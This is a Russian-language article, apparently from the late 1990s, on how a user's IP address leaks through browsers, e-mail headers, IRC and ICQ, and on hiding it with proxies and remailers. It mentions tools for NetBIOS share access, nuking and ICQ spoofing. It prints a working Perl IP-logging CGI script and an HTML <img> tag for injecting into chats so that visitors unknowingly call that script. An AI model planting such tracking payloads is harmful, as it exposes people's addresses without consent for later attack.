|
Как
известно, Internet
основана на
семействе
протоколов
tcp/ip,
определяющих,
каким
образом
осуществляется
взаимодействие
между
подключенными
к сети
компьютерами.
Идентификация
этих
компьютеров
осуществляется
с помощью
так
называемых
IP-адресов,
каждый из
которых
представляет
собой
уникальный
32-битный
идентификатор,
обычно
записываемый
в виде
четырех
десятичных
чисел,
напрмер, 192.168.0.1. И
с точки
зрения
адресации
сервер,
обрабатывающий
ежесекундно
тысячи
запросов
практически
ничем не
отличается
от вашего
компьютера,
подключаемого
к сети по dial-up.
Единственная
разница -
домашний
пользователь,
как правило,
получает
так
называемый
динамический
ip-адрес,
меняющийся
от
подключения
к
подключению.
В то
время как
адрес
сервера
должен быть
доступен
всем
клиентам,
желающим
воспользоваться
его
услугами,
клиент
вовсе не
обязан
афишировать
свой адрес
на каждом
углу. Более
того,
обнародование
ip-адреса
может
привести к
весьма
серьезным
последствиям.
Что
можно
сделать с
человеком,
зная его ip-адрес
? Ну,
например,
если на его
машине с Windows'95
живет NetBIOS over IP, и
разделены
для доступа
по сети, да
еще и без
паролей,
некоторые
диски, то
довольно
много :) (для
заинтересовавшихся
- помочь
здесь могут
nbtstat, lmhosts и net use).
Правда это
не слишком
часто
встречается
у dial-up
пользователей.
Другой
пример - в
прошлом
году были
найдены
дыры в IE и NN,
позволяющие
получить
доступ к
файлам
клиента.
Дырки те,
правда, уже
прикрыли, но
кто знает,
сколько их
еще
осталось.
До сих
пор
пользуются
популярностью
в
определенных
кругах
программы,
объединяемые
общим
названием
(восходящего
к первой
программе
этого
класса - Winnuke),
которые
осуществляют
атаки типа Denial
of Service,
приводящие
к зависанию
или
отключению
от сети
атакуемого
компьютера.
Нежно
любимая
миллионами
пользователей
ICQ (http://www.icq.com) тоже
оказалась
не без греха.
На странице
Fyodor's Exploit world (http://www.dhp.com/~fyodor/sploits.html)
помимо
прочего
приведена
информация
о слабостях
ICQ-шного
протокола (http://www.dhp.com/~fyodor/sploits/icq.spoof.overflow.seq.html),
которые уже
позволили
создать
многочисленные
программы,
делающие
жизнь
пользователя
ICQ не слишком
пресной. Так,
например, на
странице ICQ Snoofer
Team (http://const.ricor.ru/~icq/)
предлагается
опробовать
программу,
позволяющую
слать
сообщения
по ICQ с чужого
UIN. Snoofer
существует
в двух
вариантах -
в виде
скрипта,
доступного
со страницы,
и в виде
программы,
которую
обещают
рассылать
по почте.
Для его
использования
достаточно
знать ip-адрес
адресата,
номер порта,
на котором
висит ICQ, и UIN
отправителя.
Инструкция
прилагается.
Впрочем,
все эти
веселые
программы
пригодны в
основном
для
деструктивной
деятельности,
особого
смысла в
которой я не
вижу (кстати,
запущенное
на нашем
сервере
голосование
по поводу "нюков"
показало,
что
большинство
посетителей
со мной
солидарно).
Посмотрим,
какие
действия
можно
предпринять
для
определения
и скрытия ip-адреса.
Абсолютных
рецептов
конечно не
существует,
можно
говорить
лишь о
наиболее
распространенных
случаях.
Вообще
говоря, ваш IP-адрес
может
засветиться
в огромном
количестве
мест. Другое
дело - как
его потом
оттуда
вытащить.
Скажем, ваш
любимый
броузер при
заходе на
любую
страницу
сообщает о
себе
достоточно
много
информации.
В
качестве
простой
демонстрации
приведу
скрипт на Perl'е,
выводящий
основную
информацию
о
посетителе
страницы:
Листинг 1.
showuser.pl
#!/usr/bin/perl
print ("Content-type: text/html\n\n");
@ee=(
"CHARSET",
"HTTP_USER_AGENT",
"HTTP_REFERER",
"REMOTE_ADDR",
"REMOTE_HOST"
);
foreach $e(@ee)
{
print "<b>$e</b>: $ENV{$e}<br>\n";
}
Вообще-то
это самый
безобидный
случай
обнародования
ip-адреса (разве
что если
допустить
злой умысел
веб-мастера,
установившего
скрипт,
атакующий
посетителя,
но
вероятность
целенаправленной
атаки
ничтожно
мала).
IP-адрес
отправителя
можно
вытащить из
заголовка
полученной
электронной
почты (Скорее
всего, он
будет
лежать в
последнем
поле Received:, в
отличие от
поля From: его
подделать
чуть
сложнее).
Если у вас
динамически
выделяемый
адрес, то
подобная
ситуация не
слишком
опасна. Хуже,
если адрес
постоянный,
что, правда,
встречается
пореже.
Самыми
опасными с
точки
зрения
обнародования
ip-адреса
оказываются
всевозможные
системы для
интерактивного
общения - IRC (командой
/whois), InternetPhone, ICQ и т.д.
Справедливости
ради надо
заметить,
что
некоторые
из них
пытаются
прикрыть
адрес
пользователя
(скажем, в MS Comic Chat
показывается
только
часть
адреса, в ICQ'98
появилась
возможность
скрытия
своего
адреса, не
слишком
правда
хорошо
работающая
при общении
со старыми
версиями),
но в
большинстве
систем
адрес лежит
совершенно
открыто. Что
же касается
html-чатов,
здесь все
зависит от
желания
разработчика,
принципиальная
возможность
показа ip-адреса
существует,
как это было
продемонстрировано
чуть выше.
Идея
следующая:
если в чате
разрешен
ввод тегов html,
никто не
помешает
вставить в
свое
сообщение
что-то типа <img
src="http://www.mysite.com/cgi-bin/sniffer.cgi"> В
итоге все
присутствующие
в чате (даже
не
зарегистрировавшиеся)
будут, сами
того не
ведая,
вызывать
скрипт sniffer.cgi. Ну
а остальное
уже дело
техники,
реализация
подобного
скрипта на Perl'е,
ведущего
лог всех
обращений,
займет
несколько
строчек.
Демонстрационный
вариант
этого
скрипта
доступен на http://www.hackzone.ru/cgi-bin/sniffer.cgi.
Способ
применения
очень прост
- вы
вставляете
в свое
сообщение
текст
наподобие
следующего:
<img src=http://www.hackzone.ru/cgi-bin/sniff.cgi?id>,
где id -
идентификатор
канала (помогает
не
запутаться
при
использовании
скрипта на
разных
чатах
разными
людьми).
Если
этот чат
поддерживает
вставку html-тегов,
то скорее
всего вы
увидите
анимированный
логотип HackZone.
Все, что
теперь
осталось -
просмотреть
лог (http://www.hackzone.ru/files/snifflog.txt),
в который
пишется
дата
обращения к
скрипту, ip-адрес
и
идентификатор
id.
Речь
идет о
демонстрации,
в логе
хранятся
только 30
последних
записей.
#!/usr/bin/perl
$log = "/local/path/on/your/server/snifflog.txt";
$now_string = localtime;
@thetime = split(/ +/,$now_string);
@theclock = split(/:/,$thetime[3]);
$ampm = 'am';
if ($theclock[0] > 11)
{ $ampm = 'pm'; }
if ($theclock[0] == 0)
{ $theclock[0] = 12; }
if ($theclock[0] > 12)
{ $theclock[0] -= 12; }
else
{ $theclock[0] += 0; }
$lnum=$ENV{'QUERY_STRING'};
open (DB, "$log") || die "Can't Open $log:
$!\n";
flock(DB, 2);
@line=<DB>;
flock(DB, 8);
close(DB);
$line0="[$thetime[0] $theclock[0]\:$theclock[1]$ampm]
(".$lnum.") ". $ENV{REMOTE_ADDR}." ".$ENV{REMOTE_HOST};
$maxline=@line;
$maxline=30 if ($maxline>30);
open (DB, ">$log") || die "Can't Open
$log: $!\n";
flock(DB, 2);
print DB ("$line0\n");
for ($i=0; $i<$maxline; $i++)
{ print DB ("$line[$i]");
}
flock(DB, 8);
close(DB);
print "Location: http://www.hackzone.ru/images/hz_animated.gif\n\n";
Теперь
немного о
том, как же
защититься
от всего
этого
безобразия.
Самый
простой
способ
прикрыться
при
прогулках
по Web -
воспользоваться
proxy либо
службой
наподобие
Anonymizer, Inc. (http://sol.infonex.com/).
Принцип их
работы
аналогичен -
вы напрямую
общаетесь
только с proxy-сервером,
а черную
работу по
заходу на
сайты он
делает за
вас.
Если вас
все-таки
волнует
проблема с
обнаружением
своего ip-адреса
при
использовании
e-mail, вы можете
воспользоваться
службой
того же Anonymizer'а
для
отправления
писем через
web (https://www.anonymizer.com/),
либо каким-нибудь
анонимным
ремэйлером (http://www.replay.com/remailer/).
Хуже
всего дело
обстоит с
чатами.
Проблема в
том, что
если найти
какой-нибудь
левый
прокси для www
достаточно
легко,
подобный
сервис для irc,
icq и иже с ними
встречается,
мягко
говоря,
очень редко
и для
простого dialup-пользователя
практически
недоступен.
Именно
поэтому
большая
часть
средств для
атаки по ip
заточена
под
всевозможные
irc-клиенты.
Так что
бороться
тут можно
лишь двумя
способами.
Самый
надежный -
не
использовать
их вообще :)
Более
реалистичный
- бороться
не с
причиной, а
со
следствиями
- разыскать
свежайшие
заплаты и
надеяться,
что против
вашей брони
еще не
изобрели
подходящей
пушки.
|